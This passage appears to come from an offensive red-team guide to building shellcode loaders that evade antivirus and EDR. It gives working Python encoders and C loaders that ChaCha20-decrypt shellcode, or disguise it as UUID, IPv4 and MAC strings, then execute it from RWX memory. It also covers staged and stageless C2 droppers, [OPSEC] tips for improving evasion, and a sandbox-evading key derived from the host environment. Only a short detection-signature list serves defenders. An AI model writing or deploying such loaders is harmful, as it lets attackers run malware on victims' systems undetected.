print(f"[*] Encrypted size:   {len(encrypted)} bytes (same — no padding!)")
print(f"[+] Round-trip verified")

print()
print(f"unsigned char chacha_key[]   = {{ {', '.join(f'0x{b:02x}' for b in KEY)} }};")
print(f"unsigned char chacha_nonce[] = {{ {', '.join(f'0x{b:02x}' for b in NONCE)} }};")
print(f"unsigned char shellcode[] = {{")
for i in range(0, len(encrypted), 12):
    chunk = encrypted[i:i+12]
    print("    " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")
print(f"unsigned int shellcode_len = {len(encrypted)};")

// chacha20_decode.c — Standalone ChaCha20 implementation (no deps)
// Reference: https://cr.yp.to/chacha/chacha-20080128.pdf

#include <windows.h>
#include <stdint.h>
#include <string.h>

#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))

static void chacha20_quarter_round(uint32_t* a, uint32_t* b,
                                    uint32_t* c, uint32_t* d) {
    *a += *b; *d ^= *a; *d = ROTL32(*d, 16);
    *c += *d; *b ^= *c; *b = ROTL32(*b, 12);
    *a += *b; *d ^= *a; *d = ROTL32(*d,  8);
    *c += *d; *b ^= *c; *b = ROTL32(*b,  7);
}

void chacha20_block(uint32_t out[16], uint32_t in[16]) {
    uint32_t x[16];
    memcpy(x, in, 64);

    for (int i = 0; i < 10; i++) {  // 20 rounds = 10 double-rounds
        // Column rounds
        chacha20_quarter_round(&x[0],&x[4],&x[8], &x[12]);
        chacha20_quarter_round(&x[1],&x[5],&x[9], &x[13]);
        chacha20_quarter_round(&x[2],&x[6],&x[10],&x[14]);
        chacha20_quarter_round(&x[3],&x[7],&x[11],&x[15]);
        // Diagonal rounds
        chacha20_quarter_round(&x[0],&x[5],&x[10],&x[15]);
        chacha20_quarter_round(&x[1],&x[6],&x[11],&x[12]);
        chacha20_quarter_round(&x[2],&x[7],&x[8], &x[13]);
        chacha20_quarter_round(&x[3],&x[4],&x[9], &x[14]);
    }
    for (int i = 0; i < 16; i++) out[i] = x[i] + in[i];
}

void chacha20_decrypt(unsigned char* data, unsigned int len,
                       unsigned char* key, unsigned char* nonce) {
    uint32_t state[16];
    // Constants "expand 32-byte k"
    state[0] = 0x61707865; state[1] = 0x3320646e;
    state[2] = 0x79622d32; state[3] = 0x6b206574;
    // Key (32 bytes = 8 uint32_t)
    for (int i = 0; i < 8; i++)
        state[4+i] = ((uint32_t*)key)[i];
    state[12] = 0;  // Counter
    // Nonce (12 bytes = 3 uint32_t, 96-bit)
    for (int i = 0; i < 3; i++)
        state[13+i] = ((uint32_t*)nonce)[i];

    for (unsigned int pos = 0; pos < len; pos += 64) {
        uint32_t block[16];
        chacha20_block(block, state);
        state[12]++;  // Increment counter

        unsigned int chunk = (len - pos < 64) ? (len - pos) : 64;
        for (unsigned int i = 0; i < chunk; i++)
            data[pos + i] ^= ((unsigned char*)block)[i];
    }
}

// ─── Key and nonce (from Python encoder) ───────────────────
unsigned char chacha_key[]   = { /* 32 bytes */ };
unsigned char chacha_nonce[] = { /* 12 bytes */ };
unsigned char shellcode[]    = { /* encrypted bytes */ };
unsigned int  shellcode_len  = sizeof(shellcode);

int main() {
    LPVOID mem = VirtualAlloc(NULL, shellcode_len,
                               MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE);
    if (!mem) return 1;

    memcpy(mem, shellcode, shellcode_len);
    chacha20_decrypt((unsigned char*)mem, shellcode_len,
                      chacha_key, chacha_nonce);

    HANDLE hThread = CreateThread(NULL, 0,
                                   (LPTHREAD_START_ROUTINE)mem,
                                   NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

UUID format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Breakdown:
  Group 1: 4 bytes  (8 hex chars)
  Group 2: 2 bytes  (4 hex chars)
  Group 3: 2 bytes  (4 hex chars)
  Group 4: 2 bytes  (4 hex chars)
  Group 5: 6 bytes  (12 hex chars)
  Total:   16 bytes per UUID

Shellcode packing:
  bytes[0:4]  → Group 1 (little-endian DWORD)
  bytes[4:6]  → Group 2 (little-endian WORD)
  bytes[6:8]  → Group 3 (little-endian WORD)
  bytes[8:10] → Group 4 (big-endian WORD)
  bytes[10:16]→ Group 5 (big-endian 6 bytes)

#!/usr/bin/env python3
# uuid_encode.py — Encode shellcode as UUID list

import uuid
import struct

def bytes_to_uuid(chunk: bytes) -> str:
    """Pack 16 bytes into UUID string format."""
    assert len(chunk) == 16
    # UuidFromStringA expects specific byte ordering
    # Groups 1-3: little-endian, Groups 4-5: big-endian
    p1 = struct.unpack_from('<I', chunk, 0)[0]   # 4 bytes LE
    p2 = struct.unpack_from('<H', chunk, 4)[0]   # 2 bytes LE
    p3 = struct.unpack_from('<H', chunk, 6)[0]   # 2 bytes LE
    p4 = chunk[8:10].hex()                       # 2 bytes BE
    p5 = chunk[10:16].hex()                      # 6 bytes BE
    return f"{p1:08x}-{p2:04x}-{p3:04x}-{p4}-{p5}"

def uuid_to_bytes(uuid_str: str) -> bytes:
    """Unpack UUID string back to 16 bytes."""
    parts = uuid_str.replace('-', '')
    # Reverse LE parts
    raw = bytes.fromhex(parts)
    p1 = struct.pack('>I', struct.unpack('<I', raw[0:4])[0])
    p2 = struct.pack('>H', struct.unpack('<H', raw[4:6])[0])
    p3 = struct.pack('>H', struct.unpack('<H', raw[6:8])[0])
    return p1 + p2 + p3 + raw[8:]

def encode_as_uuids(shellcode: bytes) -> list:
    """Encode shellcode as list of UUID strings. Pad if needed."""
    # Pad to multiple of 16
    pad_len = (16 - len(shellcode) % 16) % 16
    padded = shellcode + b'\x00' * pad_len

    uuids = []
    for i in range(0, len(padded), 16):
        chunk = padded[i:i+16]
        uuids.append(bytes_to_uuid(chunk))

    return uuids

with open("payload.bin", "rb") as f:
    shellcode = f.read()

uuids = encode_as_uuids(shellcode)

print(f"[*] Shellcode: {len(shellcode)} bytes → {len(uuids)} UUIDs")
print()

# Output as C array
print('const char* uuids[] = {')
for u in uuids:
    print(f'    "{u}",')
print('};')
print(f'int uuid_count = {len(uuids)};')
print()

# Show sample UUIDs
print("[*] Sample UUIDs (looks like GUID data):")
for u in uuids[:5]:
    print(f"    {u}")

// uuid_decode.c — Decode UUID list → shellcode → execute
// Uses UuidFromStringA to convert UUID strings to bytes

#include <windows.h>
#include <rpc.h>
#pragma comment(lib, "rpcrt4.lib")

// From Python encoder output — looks like innocent GUID list
const char* uuids[] = {
    "e48148fc-00c0-0000-4151-4150524833",
    "d2314865-4865-528b-4808-b78b4818488b",
    // ... rest of UUIDs ...
};
int uuid_count = 42;  // (shellcode_len / 16)

int main() {
    // Allocate RWX memory for decoded shellcode
    LPVOID mem = VirtualAlloc(NULL, uuid_count * 16,
                               MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE);
    if (!mem) return 1;

    // Decode each UUID → 16 bytes into memory
    unsigned char* ptr = (unsigned char*)mem;
    for (int i = 0; i < uuid_count; i++) {
        // UuidFromStringA converts UUID string to 16-byte binary
        if (UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr) != RPC_S_OK) {
            return 1;
        }
        ptr += 16;  // Advance 16 bytes per UUID
    }

    // Execute decoded shellcode
    HANDLE hThread = CreateThread(NULL, 0,
                                   (LPTHREAD_START_ROUTINE)mem,
                                   NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

[EVASION] UUID technique advantages:
  - Shellcode stored as strings, not byte arrays
  - Looks like GUID/UUID data (common in Windows internals)
  - Defeats simple hex/byte pattern matching
  - UuidFromStringA is a legitimate Windows RPC function

[DETECT] UUID detection signatures:
  - Large array of UUID-format strings in a binary is suspicious
  - UuidFromStringA called in a loop → red flag for behavioral EDR
  - Memory region (RWX) filled via UUID parsing
  - YARA rules: look for UUID string arrays + UuidFromStringA

[OPSEC] Improve UUID encoding:
  - Combine with XOR: XOR shellcode first, then UUID-encode
  - Store UUIDs in PE resource section (resource data)
  - Deliver UUIDs via HTTP response, not hardcoded
  - Mix real GUIDs with payload GUIDs (camouflage)

#!/usr/bin/env python3
# ipv4_encode.py — Encode shellcode as fake IPv4 addresses

import socket
import struct

def encode_as_ipv4(shellcode: bytes) -> list:
    """Encode shellcode as list of IPv4 address strings (4 bytes each)."""
    # Pad to multiple of 4
    pad_len = (4 - len(shellcode) % 4) % 4
    padded = shellcode + b'\x00' * pad_len

    ips = []
    for i in range(0, len(padded), 4):
        chunk = padded[i:i+4]
        # Convert 4 bytes to IP string (big-endian)
        ip = socket.inet_ntoa(chunk)
        ips.append(ip)

    return ips

def decode_from_ipv4(ips: list) -> bytes:
    """Decode list of IPv4 strings back to bytes."""
    result = bytearray()
    for ip in ips:
        result.extend(socket.inet_aton(ip))
    return bytes(result)

with open("payload.bin", "rb") as f:
    shellcode = f.read()

ips = encode_as_ipv4(shellcode)

print(f"[*] Shellcode: {len(shellcode)} bytes → {len(ips)} IPv4 addresses")
print()
print('const char* ip_list[] = {')
for ip in ips:
    print(f'    "{ip}",')
print('};')
print(f'int ip_count = {len(ips)};')
print()
print("[*] Sample IPs (looks like network data):")
for ip in ips[:5]:
    print(f"    {ip}")

# Verify
recovered = decode_from_ipv4(ips)
assert recovered[:len(shellcode)] == shellcode, "IPv4 round-trip failed!"
print("[+] Round-trip verified")

// ipv4_decode.c — Decode IPv4 list → shellcode

#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")

const char* ip_list[] = {
    "252.72.131.228",
    "240.232.192.0",
    // ...
};
int ip_count = 128;

int main() {
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    LPVOID mem = VirtualAlloc(NULL, ip_count * 4,
                               MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE);
    if (!mem) return 1;

    unsigned char* ptr = (unsigned char*)mem;
    for (int i = 0; i < ip_count; i++) {
        struct in_addr addr;
        inet_pton(AF_INET, ip_list[i], &addr);  // IP string → 4 bytes
        memcpy(ptr, &addr.s_addr, 4);
        ptr += 4;
    }

    WSACleanup();

    HANDLE hThread = CreateThread(NULL, 0,
                                   (LPTHREAD_START_ROUTINE)mem,
                                   NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

#!/usr/bin/env python3
# mac_encode.py — Encode shellcode as fake MAC addresses (6 bytes each)

def encode_as_mac(shellcode: bytes) -> list:
    """Encode shellcode as list of MAC address strings."""
    pad_len = (6 - len(shellcode) % 6) % 6
    padded = shellcode + b'\x00' * pad_len

    macs = []
    for i in range(0, len(padded), 6):
        chunk = padded[i:i+6]
        mac = ':'.join(f'{b:02x}' for b in chunk)
        macs.append(mac)

    return macs

def decode_from_mac(macs: list) -> bytes:
    """Decode list of MAC strings back to bytes."""
    result = bytearray()
    for mac in macs:
        parts = mac.split(':')
        result.extend(bytes(int(p, 16) for p in parts))
    return bytes(result)

with open("payload.bin", "rb") as f:
    shellcode = f.read()

macs = encode_as_mac(shellcode)
print(f"[*] Shellcode: {len(shellcode)} bytes → {len(macs)} MAC addresses")
print()
for mac in macs[:5]:
    print(f"    {mac}")
print("    ...")

recovered = decode_from_mac(macs)
assert recovered[:len(shellcode)] == shellcode
print("\n[+] Round-trip verified")

Stageless:
[loader.exe]
  ├─ Compiled with shellcode inside PE
  ├─ PE resource section: encrypted_shellcode.bin
  ├─ Decryption key: hardcoded (or derived)
  └─ Flow:
       loader runs → decrypt shellcode → execute

Pros:
  ✅ Single file delivery (no network needed)
  ✅ Works in air-gapped environments
  ✅ Simpler (no C2 callback for stage 1)

Cons:
  ❌ Key is in binary (can be extracted)
  ❌ Shellcode is in binary (can be extracted + decrypted)
  ❌ Larger binary size
  ❌ AV can find encrypted blob by entropy analysis

Staged:
[stage1.exe — tiny dropper]
  ├─ No shellcode inside
  ├─ Beacons to C2: "give me shellcode"
  ├─ C2 responds with encrypted shellcode
  ├─ Decrypts using key from C2 response header
  └─ Executes

Pros:
  ✅ No shellcode in binary (can't extract it)
  ✅ Key can be delivered separately → never on disk
  ✅ C2 can change shellcode per-host dynamically
  ✅ Harder to reverse (nothing to reverse in stage1)

Cons:
  ❌ Requires network access
  ❌ C2 URL must be in binary (or derived)
  ❌ Network traffic is detectable

Stageless (max stealth):
  Shellcode → XOR-encode (remove sigs) → AES-256 encrypt (strong) → store in PE resource
  Key → derive from environment (not hardcoded) → see §13

Staged (red team ops):
  Stage1 loader → connects to C2 → receives [AES-IV + AES-encrypted shellcode]
  Stage1 has only: C2 URL + AES key OR derives key dynamically
  Decrypts and executes entirely in memory

Pipeline:
  msfvenom / Havoc generate raw .bin
      ↓
  Python: XOR(key1) → AES-256-CBC(key2, iv) → Base64
      ↓
  C2 serves Base64 over HTTPS
      ↓
  Loader: Base64 decode → AES decrypt → XOR decode → VirtualAlloc → execute

#!/usr/bin/env python3
# env_derived_key.py — Derive AES key from environment

import hashlib
import socket
import os
import subprocess

def derive_key_from_env() -> bytes:
    """
    Derive AES key from environment properties.
    Key is different on each machine — won't work in sandbox.
    """
    components = []

    # Hostname
    components.append(socket.gethostname().lower())

    # Username
    components.append(os.environ.get("USERNAME", "").lower())

    # Domain
    components.append(os.environ.get("USERDOMAIN", "").lower())

    # Machine SID prefix (first 3 components)
    try:
        sid = subprocess.check_output(
            ["wmic", "useraccount", "where", f"name='{os.environ.get('USERNAME')}'",
             "get", "sid"],
            stderr=subprocess.DEVNULL
        ).decode().strip().split("\n")[-1].strip()
        # Take first 3 SID parts: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
        sid_parts = sid.split("-")[:6]
        components.append("-".join(sid_parts))
    except:
        pass

    # Concatenate and hash → 32-byte AES-256 key
    combined = "|".join(components).encode("utf-8")
    key = hashlib.sha256(combined).digest()

    return key

# Usage:
key = derive_key_from_env()
print(f"[*] Derived key: {key.hex()}")
print(f"[*] Key is machine-specific — sandbox won't match!")